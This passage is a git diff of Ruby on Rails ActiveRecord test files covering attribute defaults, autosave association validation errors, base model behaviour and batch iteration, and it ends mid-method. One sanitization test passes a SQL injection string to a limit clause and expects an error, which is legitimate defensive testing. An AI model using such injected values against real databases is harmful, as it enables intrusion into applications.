b/activerecord/test/cases/attributes_test.rb index 927d7950a5..48ba7a63d5 100644 --- a/activerecord/test/cases/attributes_test.rb +++ b/activerecord/test/cases/attributes_test.rb @@ -63,6 +63,15 @@ module ActiveRecord end end + test "model with nonexistent attribute with default value can be saved" do + klass = Class.new(OverloadedType) do + attribute :non_existent_string_with_default, :string, default: 'nonexistent' + end + + model = klass.new + assert model.save + end + test "changing defaults" do data = OverloadedType.new unoverloaded_data = UnoverloadedType.new @@ -125,8 +134,35 @@ module ActiveRecord assert_equal "from user", model.wibble end + test "procs for default values" do + klass = Class.new(OverloadedType) do + @@counter = 0 + attribute :counter, :integer, default: -> { @@counter += 1 } + end + + assert_equal 1, klass.new.counter + assert_equal 2, klass.new.counter + end + + test "procs are memoized before type casting" do + klass = Class.new(OverloadedType) do + @@counter = 0 + attribute :counter, :integer, default: -> { @@counter += 1 } + end + + model = klass.new + assert_equal 1, model.counter_before_type_cast + assert_equal 1, model.counter_before_type_cast + end + + test "user provided defaults are persisted even if unchanged" do + model = OverloadedType.create! + + assert_equal "the overloaded default", model.reload.string_with_default + end + if current_adapter?(:PostgreSQLAdapter) - test "arrays types can be specified" do + test "array types can be specified" do klass = Class.new(OverloadedType) do attribute :my_array, :string, limit: 50, array: true attribute :my_int_array, :integer, array: true @@ -136,7 +172,7 @@ module ActiveRecord Type::String.new(limit: 50)) int_array = ConnectionAdapters::PostgreSQL::OID::Array.new( Type::Integer.new) - refute_equal string_array, int_array + assert_not_equal string_array, int_array assert_equal string_array, klass.type_for_attribute("my_array") assert_equal int_array, klass.type_for_attribute("my_int_array") end @@ -151,10 +187,23 @@ module ActiveRecord Type::String.new(limit: 50)) int_range = ConnectionAdapters::PostgreSQL::OID::Range.new( Type::Integer.new) - refute_equal string_range, int_range + assert_not_equal string_range, int_range assert_equal string_range, klass.type_for_attribute("my_range") assert_equal int_range, klass.type_for_attribute("my_int_range") end end + + test "attributes added after subclasses load are inherited" do + parent = Class.new(ActiveRecord::Base) do + self.table_name = "topics" + end + + child = Class.new(parent) + child.new # => force a schema load + + parent.attribute(:foo, Type::Value.new) + + assert_equal(:bar, child.new(foo: :bar).foo) + end end end diff --git a/activerecord/test/cases/autosave_association_test.rb b/activerecord/test/cases/autosave_association_test.rb index 8f0d7bd037..9e3266b7d6 100644 --- a/activerecord/test/cases/autosave_association_test.rb +++ b/activerecord/test/cases/autosave_association_test.rb @@ -24,6 +24,8 @@ require 'models/molecule' require 'models/member' require 'models/member_detail' require 'models/organization' +require 'models/guitar' +require 'models/tuning_peg' class TestAutosaveAssociationsInGeneral < ActiveRecord::TestCase def test_autosave_validation @@ -43,7 +45,7 @@ class TestAutosaveAssociationsInGeneral < ActiveRecord::TestCase reference = Class.new(ActiveRecord::Base) { self.table_name = "references" def self.name; 'Reference'; end - belongs_to :person, autosave: true, class: person + belongs_to :person, autosave: true, anonymous_class: person } u = person.create!(first_name: 'cool') @@ -67,6 +69,14 @@ class TestAutosaveAssociationsInGeneral < ActiveRecord::TestCase assert_no_difference_when_adding_callbacks_twice_for Pirate, :parrots end + def test_cyclic_autosaves_do_not_add_multiple_validations + ship = ShipWithoutNestedAttributes.new + ship.prisoners.build + + assert_not ship.valid? + assert_equal 1, ship.errors[:name].length + end + private def assert_no_difference_when_adding_callbacks_twice_for(model, association_name) @@ -149,7 +159,8 @@ class TestDefaultAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCas assert_equal a, firm.account assert firm.save assert_equal a, firm.account - assert_equal a, firm.account(true) + firm.association(:account).reload + assert_equal a, firm.account end def test_assignment_before_either_saved @@ -162,7 +173,8 @@ class TestDefaultAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCas assert firm.persisted? assert a.persisted? assert_equal a, firm.account - assert_equal a, firm.account(true) + firm.association(:account).reload + assert_equal a, firm.account end def test_not_resaved_when_unchanged @@ -248,7 +260,8 @@ class TestDefaultAutosaveAssociationOnABelongsToAssociation < ActiveRecord::Test assert apple.save assert apple.persisted? assert_equal apple, client.firm - assert_equal apple, client.firm(true) + client.association(:firm).reload + assert_equal apple, client.firm end def test_assignment_before_either_saved @@ -261,7 +274,8 @@ class TestDefaultAutosaveAssociationOnABelongsToAssociation < ActiveRecord::Test assert final_cut.persisted? assert apple.persisted? assert_equal apple, final_cut.firm - assert_equal apple, final_cut.firm(true) + final_cut.association(:firm).reload + assert_equal apple, final_cut.firm end def test_store_two_association_with_one_save @@ -385,6 +399,87 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociationWithAcceptsNestedAttrib assert_not molecule.persisted?, 'Molecule should not be persisted when its electrons are invalid' end + def test_errors_should_be_indexed_when_passed_as_array + guitar = Guitar.new + tuning_peg_valid = TuningPeg.new + tuning_peg_valid.pitch = 440.0 + tuning_peg_invalid = TuningPeg.new + + guitar.tuning_pegs = [tuning_peg_valid, tuning_peg_invalid] + + assert_not tuning_peg_invalid.valid? + assert tuning_peg_valid.valid? + assert_not guitar.valid? + assert_equal ["is not a number"], guitar.errors["tuning_pegs[1].pitch"] + assert_not_equal ["is not a number"], guitar.errors["tuning_pegs.pitch"] + end + + def test_errors_should_be_indexed_when_global_flag_is_set + old_attribute_config = ActiveRecord::Base.index_nested_attribute_errors + ActiveRecord::Base.index_nested_attribute_errors = true + + molecule = Molecule.new + valid_electron = Electron.new(name: 'electron') + invalid_electron = Electron.new + + molecule.electrons = [valid_electron, invalid_electron] + + assert_not invalid_electron.valid? + assert valid_electron.valid? + assert_not molecule.valid? + assert_equal ["can't be blank"], molecule.errors["electrons[1].name"] + assert_not_equal ["can't be blank"], molecule.errors["electrons.name"] + ensure + ActiveRecord::Base.index_nested_attribute_errors = old_attribute_config + end + + def test_errors_details_should_be_set + molecule = Molecule.new + valid_electron = Electron.new(name: 'electron') + invalid_electron = Electron.new + + molecule.electrons = [valid_electron, invalid_electron] + + assert_not invalid_electron.valid? + assert valid_electron.valid? + assert_not molecule.valid? + assert_equal [{error: :blank}], molecule.errors.details["electrons.name"] + end + + def test_errors_details_should_be_indexed_when_passed_as_array + guitar = Guitar.new + tuning_peg_valid = TuningPeg.new + tuning_peg_valid.pitch = 440.0 + tuning_peg_invalid = TuningPeg.new + + guitar.tuning_pegs = [tuning_peg_valid, tuning_peg_invalid] + + assert_not tuning_peg_invalid.valid? + assert tuning_peg_valid.valid? + assert_not guitar.valid? + assert_equal [{error: :not_a_number, value: nil}] , guitar.errors.details["tuning_pegs[1].pitch"] + assert_equal [], guitar.errors.details["tuning_pegs.pitch"] + end + + def test_errors_details_should_be_indexed_when_global_flag_is_set + old_attribute_config = ActiveRecord::Base.index_nested_attribute_errors + ActiveRecord::Base.index_nested_attribute_errors = true + + molecule = Molecule.new + valid_electron = Electron.new(name: 'electron') + invalid_electron = Electron.new + + molecule.electrons = [valid_electron, invalid_electron] + + assert_not invalid_electron.valid? + assert valid_electron.valid? + assert_not molecule.valid? + assert_equal [{error: :blank}], molecule.errors.details["electrons[1].name"] + assert_equal [], molecule.errors.details["electrons.name"] + ensure + ActiveRecord::Base.index_nested_attribute_errors = old_attribute_config + end + def test_valid_adding_with_nested_attributes molecule = Molecule.new valid_electron = Electron.new(name: 'electron') @@ -456,7 +551,7 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa assert_equal new_client, companies(:first_firm).clients_of_firm.last assert !companies(:first_firm).save assert !new_client.persisted? - assert_equal 2, companies(:first_firm).clients_of_firm(true).size + assert_equal 2, companies(:first_firm).clients_of_firm.reload.size end def test_adding_before_save @@ -481,7 +576,7 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa assert_equal no_of_clients + 2, Client.count # Clients were saved to database. assert_equal 2, new_firm.clients_of_firm.size - assert_equal 2, new_firm.clients_of_firm(true).size + assert_equal 2, new_firm.clients_of_firm.reload.size end def test_assign_ids @@ -510,7 +605,7 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa company.name += '-changed' assert_queries(2) { assert company.save } assert new_client.persisted? - assert_equal 3, company.clients_of_firm(true).size + assert_equal 3, company.clients_of_firm.reload.size end def test_build_many_before_save @@ -519,7 +614,7 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa company.name += '-changed' assert_queries(3) { assert company.save } - assert_equal 4, company.clients_of_firm(true).size + assert_equal 4, company.clients_of_firm.reload.size end def test_build_via_block_before_save @@ -530,7 +625,7 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa company.name += '-changed' assert_queries(2) { assert company.save } assert new_client.persisted? - assert_equal 3, company.clients_of_firm(true).size + assert_equal 3, company.clients_of_firm.reload.size end def test_build_many_via_block_before_save @@ -543,7 +638,7 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa company.name += '-changed' assert_queries(3) { assert company.save } - assert_equal 4, company.clients_of_firm(true).size + assert_equal 4, company.clients_of_firm.reload.size end def test_replace_on_new_object @@ -654,7 +749,7 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase end # has_one - def test_should_destroy_a_child_association_as_part_of_the_save_transaction_if_it_was_marked_for_destroyal + def test_should_destroy_a_child_association_as_part_of_the_save_transaction_if_it_was_marked_for_destruction assert !@pirate.ship.marked_for_destruction? @pirate.ship.mark_for_destruction @@ -714,7 +809,7 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase end # belongs_to - def test_should_destroy_a_parent_association_as_part_of_the_save_transaction_if_it_was_marked_for_destroyal + def test_should_destroy_a_parent_association_as_part_of_the_save_transaction_if_it_was_marked_for_destruction assert !@ship.pirate.marked_for_destruction? @ship.pirate.mark_for_destruction @@ -1142,6 +1237,13 @@ class TestAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCase def test_should_not_load_the_associated_model assert_queries(1) { @pirate.catchphrase = 'Arr'; @pirate.save! } end + + def test_mark_for_destruction_is_ignored_without_autosave_true + ship = ShipWithoutNestedAttributes.new(name: "The Black Flag") + ship.parts.build.mark_for_destruction + + assert_not ship.valid? + end end class TestAutosaveAssociationOnAHasOneThroughAssociation < ActiveRecord::TestCase @@ -1278,6 +1380,16 @@ module AutosaveAssociationOnACollectionAssociationTests assert_equal new_names, @pirate.reload.send(@association_name).map(&:name) end + def test_should_update_children_when_autosave_is_true_and_parent_is_new_but_child_is_not + parrot = Parrot.create!(name: "Polly") + parrot.name = "Squawky" + pirate = Pirate.new(parrots: [parrot], catchphrase: "Arrrr") + + pirate.save! + + assert_equal "Squawky", parrot.reload.name + end + def test_should_automatically_validate_the_associated_models @pirate.send(@association_name).each { |child| child.name = '' } diff --git a/activerecord/test/cases/base_test.rb b/activerecord/test/cases/base_test.rb index 4306738670..eef2d29d02 100644 --- a/activerecord/test/cases/base_test.rb +++ b/activerecord/test/cases/base_test.rb @@ -1,7 +1,4 @@ -# -*- coding: utf-8 -*- - require "cases/helper" -require 'active_support/concurrency/latch' require 'models/post' require 'models/author' require 'models/topic' @@ -29,6 +26,7 @@ require 'models/bird' require 'models/car' require 'models/bulb' require 'rexml/document' +require 'concurrent/atomic/count_down_latch' class FirstAbstractClass < ActiveRecord::Base self.abstract_class = true @@ -84,7 +82,6 @@ class BasicsTest < ActiveRecord::TestCase classname = conn.class.name[/[^:]*$/] badchar = { 'SQLite3Adapter' => '"', - 'MysqlAdapter' => '`', 'Mysql2Adapter' => '`', 'PostgreSQLAdapter' => '"', 'OracleAdapter' => '"', @@ -114,7 +111,9 @@ class BasicsTest < ActiveRecord::TestCase unless current_adapter?(:PostgreSQLAdapter, :OracleAdapter, :SQLServerAdapter, :FbAdapter) def test_limit_with_comma - assert Topic.limit("1,2").to_a + assert_deprecated do + assert Topic.limit("1,2").to_a + end end end @@ -140,14 +139,10 @@ class BasicsTest < ActiveRecord::TestCase end def test_limit_should_sanitize_sql_injection_for_limit_with_commas - assert_raises(ArgumentError) do - Topic.limit("1, 7 procedure help()").to_a - end - end - - unless current_adapter?(:MysqlAdapter, :Mysql2Adapter) - def test_limit_should_allow_sql_literal - assert_equal 1, Topic.limit(Arel.sql('2-1')).to_a.length + assert_deprecated do + assert_raises(ArgumentError) do + Topic.limit("1, 7 procedure help()").to_a + end end end @@ -206,7 +201,7 @@ class BasicsTest < ActiveRecord::TestCase ) # For adapters which support microsecond resolution. - if current_adapter?(:PostgreSQLAdapter, :SQLite3Adapter) || mysql_56? + if subsecond_precision_supported? assert_equal 11, Topic.find(1).written_on.sec assert_equal 223300, Topic.find(1).written_on.usec assert_equal 9900, Topic.find(2).written_on.usec @@ -215,7 +210,7 @@ class BasicsTest < ActiveRecord::TestCase end def test_preserving_time_objects_with_local_time_conversion_to_default_timezone_utc - with_env_tz 'America/New_York' do + with_env_tz eastern_time_zone do with_timezone_config default: :utc do time = Time.local(2000) topic = Topic.create('written_on' => time) @@ -228,7 +223,7 @@ class BasicsTest < ActiveRecord::TestCase end def test_preserving_time_objects_with_time_with_zone_conversion_to_default_timezone_utc - with_env_tz 'America/New_York' do + with_env_tz eastern_time_zone do with_timezone_config default: :utc do Time.use_zone 'Central Time (US & Canada)' do time = Time.zone.local(2000) @@ -243,7 +238,7 @@ class BasicsTest < ActiveRecord::TestCase end def test_preserving_time_objects_with_utc_time_conversion_to_default_timezone_local - with_env_tz 'America/New_York' do + with_env_tz eastern_time_zone do with_timezone_config default: :local do time = Time.utc(2000) topic = Topic.create('written_on' => time) @@ -256,7 +251,7 @@ class BasicsTest < ActiveRecord::TestCase end def test_preserving_time_objects_with_time_with_zone_conversion_to_default_timezone_local - with_env_tz 'America/New_York' do + with_env_tz eastern_time_zone do with_timezone_config default: :local do Time.use_zone 'Central Time (US & Canada)' do time = Time.zone.local(2000) @@ -270,6 +265,14 @@ class BasicsTest < ActiveRecord::TestCase end end + def eastern_time_zone + if Gem.win_platform? + "EST5EDT" + else + "America/New_York" + end + end + def test_custom_mutator topic = Topic.find(1) # This mutator is protected in the class definition @@ -440,7 +443,7 @@ class BasicsTest < ActiveRecord::TestCase Post.reset_table_name end - if current_adapter?(:MysqlAdapter, :Mysql2Adapter) + if current_adapter?(:Mysql2Adapter) def test_update_all_with_order_and_limit assert_equal 1, Topic.limit(1).order('id DESC').update_all(:content => 'bulk updated!') end @@ -521,7 +524,8 @@ class BasicsTest < ActiveRecord::TestCase end def test_find_by_slug_with_array - assert_equal Topic.find(['1-meowmeow', '2-hello']), Topic.find([1, 2]) + assert_equal Topic.find([1, 2]), Topic.find(['1-meowmeow', '2-hello']) + assert_equal 'The Second Topic of the day', Topic.find(['2-hello', '1-meowmeow']).first.title end def test_find_by_slug_with_range @@ -800,7 +804,7 @@ class BasicsTest < ActiveRecord::TestCase assert_equal dev.salary.amount, dup.salary.amount assert !dup.persisted? - # test if the attributes have been dupd + # test if the attributes have been duped original_amount = dup.salary.amount dev.salary.amount = 1 assert_equal original_amount, dup.salary.amount @@ -946,6 +950,34 @@ class BasicsTest < ActiveRecord::TestCase assert_equal BigDecimal("1000234000567.95"), m1.big_bank_balance end + def test_numeric_fields_with_scale + m = NumericData.new( + :bank_balance => 1586.43122334, + :big_bank_balance => BigDecimal("234000567.952344"), + :world_population => 6000000000, + :my_house_population => 3 + ) + assert m.save + + m1 = NumericData.find(m.id) + assert_not_nil m1 + + # As with migration_test.rb, we should make world_population >= 2**62 + # to cover 64-bit platforms and test it is a Bignum, but the main thing + # is that it's an Integer. + assert_kind_of Integer, m1.world_population + assert_equal 6000000000, m1.world_population + + assert_kind_of Fixnum, m1.my_house_population + assert_equal 3, m1.my_house_population + + assert_kind_of BigDecimal, m1.bank_balance + assert_equal BigDecimal("1586.43"), m1.bank_balance + + assert_kind_of BigDecimal, m1.big_bank_balance + assert_equal BigDecimal("234000567.95"), m1.big_bank_balance + end + def test_auto_id auto = AutoId.new auto.save @@ -1178,42 +1210,10 @@ class BasicsTest < ActiveRecord::TestCase assert_equal last, Developer.all.merge!(:order => :salary).to_a.last end - def test_abstract_class - assert !ActiveRecord::Base.abstract_class? - assert LoosePerson.abstract_class? - assert !LooseDescendant.abstract_class? - end - def test_abstract_class_table_name assert_nil AbstractCompany.table_name end - def test_descends_from_active_record - assert !ActiveRecord::Base.descends_from_active_record? - - # Abstract subclass of AR::Base. - assert LoosePerson.descends_from_active_record? - - # Concrete subclass of an abstract class. - assert LooseDescendant.descends_from_active_record? - - # Concrete subclass of AR::Base. - assert TightPerson.descends_from_active_record? - - # Concrete subclass of a concrete class but has no type column. - assert TightDescendant.descends_from_active_record? - - # Concrete subclass of AR::Base. - assert Post.descends_from_active_record? - - # Abstract subclass of a concrete class which has a type column. - # This is pathological, as you'll never have Sub < Abstract < Concrete. - assert !StiPost.descends_from_active_record? - - # Concrete subclasses an abstract class which has a type column. - assert !SubStiPost.descends_from_active_record? - end - def test_find_on_abstract_base_class_doesnt_use_type_condition old_class = LooseDescendant Object.send :remove_const, :LooseDescendant @@ -1252,56 +1252,13 @@ class BasicsTest < ActiveRecord::TestCase original_logger = ActiveRecord::Base.logger log = StringIO.new ActiveRecord::Base.logger = ActiveSupport::Logger.new(log) + ActiveRecord::Base.logger.level = Logger::DEBUG ActiveRecord::Base.benchmark("Logging", :level => :debug, :silence => false) { ActiveRecord::Base.logger.debug "Quiet" } assert_match(/Quiet/, log.string) ensure ActiveRecord::Base.logger = original_logger end - def test_compute_type_success - assert_equal Author, ActiveRecord::Base.send(:compute_type, 'Author') - end - - def test_compute_type_nonexistent_constant - e = assert_raises NameError do - ActiveRecord::Base.send :compute_type, 'NonexistentModel' - end - assert_equal 'uninitialized constant ActiveRecord::Base::NonexistentModel', e.message - assert_equal 'ActiveRecord::Base::NonexistentModel', e.name - end - - def test_compute_type_no_method_error - ActiveSupport::Dependencies.stubs(:safe_constantize).raises(NoMethodError) - assert_raises NoMethodError do - ActiveRecord::Base.send :compute_type, 'InvalidModel' - end - end - - def test_compute_type_on_undefined_method - error = nil - begin - Class.new(Author) do - alias_method :foo, :bar - end - rescue => e - error = e - end - - ActiveSupport::Dependencies.stubs(:safe_constantize).raises(e) - - exception = assert_raises NameError do - ActiveRecord::Base.send :compute_type, 'InvalidModel' - end - assert_equal error.message, exception.message - end - - def test_compute_type_argument_error - ActiveSupport::Dependencies.stubs(:safe_constantize).raises(ArgumentError) - assert_raises ArgumentError do - ActiveRecord::Base.send :compute_type, 'InvalidModel' - end - end - def test_clear_cache! # preheat cache c1 = Post.connection.schema_cache.columns('posts') @@ -1318,9 +1275,10 @@ class BasicsTest < ActiveRecord::TestCase UnloadablePost.send(:current_scope=, UnloadablePost.all) UnloadablePost.unloadable - assert_not_nil ActiveRecord::Scoping::ScopeRegistry.value_for(:current_scope, "UnloadablePost") + klass = UnloadablePost + assert_not_nil ActiveRecord::Scoping::ScopeRegistry.value_for(:current_scope, klass) ActiveSupport::Dependencies.remove_unloadable_constants! - assert_nil ActiveRecord::Scoping::ScopeRegistry.value_for(:current_scope, "UnloadablePost") + assert_nil ActiveRecord::Scoping::ScopeRegistry.value_for(:current_scope, klass) ensure Object.class_eval{ remove_const :UnloadablePost } if defined?(UnloadablePost) end @@ -1395,6 +1353,19 @@ class BasicsTest < ActiveRecord::TestCase Company.attribute_names end + def test_has_attribute + assert Company.has_attribute?('id') + assert Company.has_attribute?('type') + assert Company.has_attribute?('name') + assert_not Company.has_attribute?('lastname') + assert_not Company.has_attribute?('age') + end + + def test_has_attribute_with_symbol + assert Company.has_attribute?(:id) + assert_not Company.has_attribute?(:age) + end + def test_attribute_names_on_table_not_exists assert_equal [], NonExistentTable.attribute_names end @@ -1411,15 +1382,13 @@ class BasicsTest < ActiveRecord::TestCase end def test_uniq_delegates_to_scoped - scope = stub - Bird.stubs(:all).returns(mock(:uniq => scope)) - assert_equal scope, Bird.uniq + assert_deprecated do + assert_equal Bird.all.distinct, Bird.uniq + end end def test_distinct_delegates_to_scoped - scope = stub - Bird.stubs(:all).returns(mock(:distinct => scope)) - assert_equal scope, Bird.distinct + assert_equal Bird.all.distinct, Bird.distinct end def test_table_name_with_2_abstract_subclasses @@ -1508,20 +1477,20 @@ class BasicsTest < ActiveRecord::TestCase orig_handler = klass.connection_handler new_handler = ActiveRecord::ConnectionAdapters::ConnectionHandler.new after_handler = nil - latch1 = ActiveSupport::Concurrency::Latch.new - latch2 = ActiveSupport::Concurrency::Latch.new + latch1 = Concurrent::CountDownLatch.new + latch2 = Concurrent::CountDownLatch.new t = Thread.new do klass.connection_handler = new_handler - latch1.release - latch2.await + latch1.count_down + latch2.wait after_handler = klass.connection_handler end - latch1.await + latch1.wait klass.connection_handler = orig_handler - latch2.release + latch2.count_down t.join assert_equal after_handler, new_handler @@ -1544,4 +1513,22 @@ class BasicsTest < ActiveRecord::TestCase assert_not topic.id_changed? end + + test "ignored columns are not present in columns_hash" do + cache_columns = Developer.connection.schema_cache.columns_hash(Developer.table_name) + assert_includes cache_columns.keys, 'first_name' + refute_includes Developer.columns_hash.keys, 'first_name' + end + + test "ignored columns have no attribute methods" do + refute Developer.new.respond_to?(:first_name) + refute Developer.new.respond_to?(:first_name=) + refute Developer.new.respond_to?(:first_name?) + end + + test "ignored columns don't prevent explicit declaration of attribute methods" do + assert Developer.new.respond_to?(:last_name) + assert Developer.new.respond_to?(:last_name=) + assert Developer.new.respond_to?(:last_name?) + end end diff --git a/activerecord/test/cases/batches_test.rb b/activerecord/test/cases/batches_test.rb index 9e428098e4..91ff5146fd 100644 --- a/activerecord/test/cases/batches_test.rb +++ b/activerecord/test/cases/batches_test.rb @@ -38,7 +38,7 @@ class EachTest < ActiveRecord::TestCase if Enumerator.method_defined? :size def test_each_should_return_a_sized_enumerator assert_equal 11, Post.find_each(batch_size: 1).size - assert_equal 5, Post.find_each(batch_size: 2, begin_at: 7).size + assert_equal 5, Post.find_each(batch_size: 2, start: 7).size assert_equal 11, Post.find_each(batch_size: 10_000).size end end @@ -53,7 +53,7 @@ class EachTest < ActiveRecord::TestCase end def test_each_should_raise_if_select_is_set_without_id - assert_raise(RuntimeError) do + assert_raise(ArgumentError) do Post.select(:title).find_each(batch_size: 1) { |post| flunk "should not call this block" } @@ -69,13 +69,15 @@ class EachTest < ActiveRecord::TestCase end def test_warn_if_limit_scope_is_set - ActiveRecord::Base.logger.expects(:warn) - Post.limit(1).find_each { |post| post } + assert_called(ActiveRecord::Base.logger, :warn) do + Post.limit(1).find_each { |post| post } + end end def test_warn_if_order_scope_is_set - ActiveRecord::Base.logger.expects(:warn) - Post.order("title").find_each { |post| post } + assert_called(ActiveRecord::Base.logger, :warn) do + Post.order("title").find_each { |post| post } + end end def test_logger_not_required @@ -99,16 +101,16 @@ class EachTest < ActiveRecord::TestCase def test_find_in_batches_should_start_from_the_start_option assert_queries(@total) do - Post.find_in_batches(batch_size: 1, begin_at: 2) do |batch| + Post.find_in_batches(batch_size: 1, start: 2) do |batch| assert_kind_of Array, batch assert_kind_of Post, batch.first end end end - def test_find_in_batches_should_end_at_the_end_option + def test_find_in_batches_should_end_at_the_finish_option assert_queries(6) do - Post.find_in_batches(batch_size: 1, end_at: 5) do |batch| + Post.find_in_batches(batch_size: 1, finish: 5) do |batch| assert_kind_of Array, batch assert_kind_of Post, batch.first end @@ -137,14 +139,15 @@ class EachTest < ActiveRecord::TestCase def test_find_in_batches_should_not_use_records_after_yielding_them_in_case_original_array_is_modified not_a_post = "not a post" - not_a_post.stubs(:id).raises(StandardError, "not_a_post had #id called on it") - - assert_nothing_raised do - Post.find_in_batches(:batch_size => 1) do |batch| - assert_kind_of Array, batch - assert_kind_of Post, batch.first + def not_a_post.id; end + not_a_post.stub(:id, ->{ raise StandardError.new("not_a_post had #id called on it") }) do + assert_nothing_raised do + Post.find_in_batches(:batch_size => 1) do |batch| + assert_kind_of Array, batch + assert_kind_of Post, batch.first - batch.map! { not_a_post } + batch.map! { not_a_post } + end end end end @@ -158,7 +161,43 @@ class EachTest < ActiveRecord::TestCase end # posts.first will be ordered using id only. Title order scope should not apply here assert_not_equal first_post, posts.first - assert_equal posts(:welcome), posts.first + assert_equal posts(:welcome).id, posts.first.id + end + + def test_find_in_batches_should_error_on_ignore_the_order + assert_raise(ArgumentError) do + PostWithDefaultScope.find_in_batches(error_on_ignore: true){} + end + end + + def test_find_in_batches_should_not_error_if_config_overriden + # Set the config option which will be overriden + prev = ActiveRecord::Base.error_on_ignored_order_or_limit + ActiveRecord::Base.error_on_ignored_order_or_limit = true + assert_nothing_raised do + PostWithDefaultScope.find_in_batches(error_on_ignore: false){} + end + ensure + # Set back to default + ActiveRecord::Base.error_on_ignored_order_or_limit = prev + end + + def test_find_in_batches_should_error_on_config_specified_to_error + # Set the config option + prev = ActiveRecord::Base.error_on_ignored_order_or_limit + ActiveRecord::Base.error_on_ignored_order_or_limit = true + assert_raise(ArgumentError) do + PostWithDefaultScope.find_in_batches(){} + end + ensure + # Set back to default + ActiveRecord::Base.error_on_ignored_order_or_limit = prev + end + + def test_find_in_batches_should_not_error_by_default + assert_nothing_raised do + PostWithDefaultScope.find_in_batches(){} + end end def test_find_in_batches_should_not_ignore_the_default_scope_if_it_is_other_then_order @@ -172,7 +211,7 @@ class EachTest < ActiveRecord::TestCase def test_find_in_batches_should_not_modify_passed_options assert_nothing_raised do - Post.find_in_batches({ batch_size: 42, begin_at: 1 }.freeze){} + Post.find_in_batches({ batch_size: 42, start: 1 }.freeze){} end end @@ -181,7 +220,7 @@ class EachTest < ActiveRecord::TestCase start_nick = nick_order_subscribers.second.nick subscribers = [] - Subscriber.find_in_batches(batch_size: 1, begin_at: start_nick) do |batch| + Subscriber.find_in_batches(batch_size: 1, start: start_nick) do |batch| subscribers.concat(batch) end @@ -190,15 +229,16 @@ class EachTest < ActiveRecord::TestCase def test_find_in_batches_should_use_any_column_as_primary_key_when_start_is_not_specified assert_queries(Subscriber.count + 1) do - Subscriber.find_each(:batch_size => 1) do |subscriber| - assert_kind_of Subscriber, subscriber + Subscriber.find_in_batches(batch_size: 1) do |batch| + assert_kind_of Array, batch + assert_kind_of Subscriber, batch.first end end end def test_find_in_batches_should_return_an_enumerator enum = nil - assert_queries(0) do + assert_no_queries do enum = Post.find_in_batches(:batch_size => 1) end assert_queries(4) do @@ -209,32 +249,239 @@ class EachTest < ActiveRecord::TestCase end end - def test_find_in_batches_start_deprecated - assert_deprecated do - assert_queries(@total) do - Post.find_in_batches(batch_size: 1, start: 2) do |batch| - assert_kind_of Array, batch - assert_kind_of Post, batch.first - end + def test_in_batches_should_not_execute_any_query + assert_no_queries do + assert_kind_of ActiveRecord::Batches::BatchEnumerator, Post.in_batches(of: 2) + end + end + + def test_in_batches_should_yield_relation_if_block_given + assert_queries(6) do + Post.in_batches(of: 2) do |relation| + assert_kind_of ActiveRecord::Relation, relation end end end - def test_find_each_start_deprecated - assert_deprecated do - assert_queries(@total) do - Post.find_each(batch_size: 1, start: 2) do |post| - assert_kind_of Post, post - end + def test_in_batches_should_be_enumerable_if_no_block_given + assert_queries(6) do + Post.in_batches(of: 2).each do |relation| + assert_kind_of ActiveRecord::Relation, relation end end end + def test_in_batches_each_record_should_yield_record_if_block_is_given + assert_queries(6) do + Post.in_batches(of: 2).each_record do |post| + assert post.title.present? + assert_kind_of Post, post + end + end + end + + def test_in_batches_each_record_should_return_enumerator_if_no_block_given + assert_queries(6) do + Post.in_batches(of: 2).each_record.with_index do |post, i| + assert post.title.present? + assert_kind_of Post, post + end + end + end + + def test_in_batches_each_record_should_be_ordered_by_id + ids = Post.order('id ASC').pluck(:id) + assert_queries(6) do + Post.in_batches(of: 2).each_record.with_index do |post, i| + assert_equal ids[i], post.id + end + end + end + + def test_in_batches_update_all_affect_all_records + assert_queries(6 + 6) do # 6 selects, 6 updates + Post.in_batches(of: 2).update_all(title: "updated-title") + end + assert_equal Post.all.pluck(:title), ["updated-title"] * Post.count + end + + def test_in_batches_delete_all_should_not_delete_records_in_other_batches + not_deleted_count = Post.where('id <= 2').count + Post.where('id > 2').in_batches(of: 2).delete_all + assert_equal 0, Post.where('id > 2').count + assert_equal not_deleted_count, Post.count + end + + def test_in_batches_should_not_be_loaded + Post.in_batches(of: 1) do |relation| + assert_not relation.loaded? + end + + Post.in_batches(of: 1, load: false) do |relation| + assert_not relation.loaded? + end + end + + def test_in_batches_should_be_loaded + Post.in_batches(of: 1, load: true) do |relation| + assert relation.loaded? + end + end + + def test_in_batches_if_not_loaded_executes_more_queries + assert_queries(@total + 1) do + Post.in_batches(of: 1, load: false) do |relation| + assert_not relation.loaded? + end + end + end + + def test_in_batches_should_return_relations + assert_queries(@total + 1) do + Post.in_batches(of: 1) do |relation| + assert_kind_of ActiveRecord::Relation, relation + end + end + end + + def test_in_batches_should_start_from_the_start_option + post = Post.order('id ASC').where('id >= ?', 2).first + assert_queries(2) do + relation = Post.in_batches(of: 1, start: 2).first + assert_equal post, relation.first + end + end + + def test_in_batches_should_end_at_the_finish_option + post = Post.order('id DESC').where('id <= ?', 5).first + assert_queries(7) do + relation = Post.in_batches(of: 1, finish: 5, load: true).reverse_each.first + assert_equal post, relation.last + end + end + + def test_in_batches_shouldnt_execute_query_unless_needed + assert_queries(2) do + Post.in_batches(of: @total) { |relation| assert_kind_of ActiveRecord::Relation, relation } + end + + assert_queries(1) do + Post.in_batches(of: @total + 1) { |relation| assert_kind_of ActiveRecord::Relation, relation } + end + end + + def test_in_batches_should_quote_batch_order + c = Post.connection + assert_sql(/ORDER BY #{c.quote_table_name('posts')}.#{c.quote_column_name('id')}/) do + Post.in_batches(of: 1) do |relation| + assert_kind_of ActiveRecord::Relation, relation + assert_kind_of Post, relation.first + end + end + end + + def test_in_batches_should_not_use_records_after_yielding_them_in_case_original_array_is_modified + not_a_post = "not a post" + def not_a_post.id + 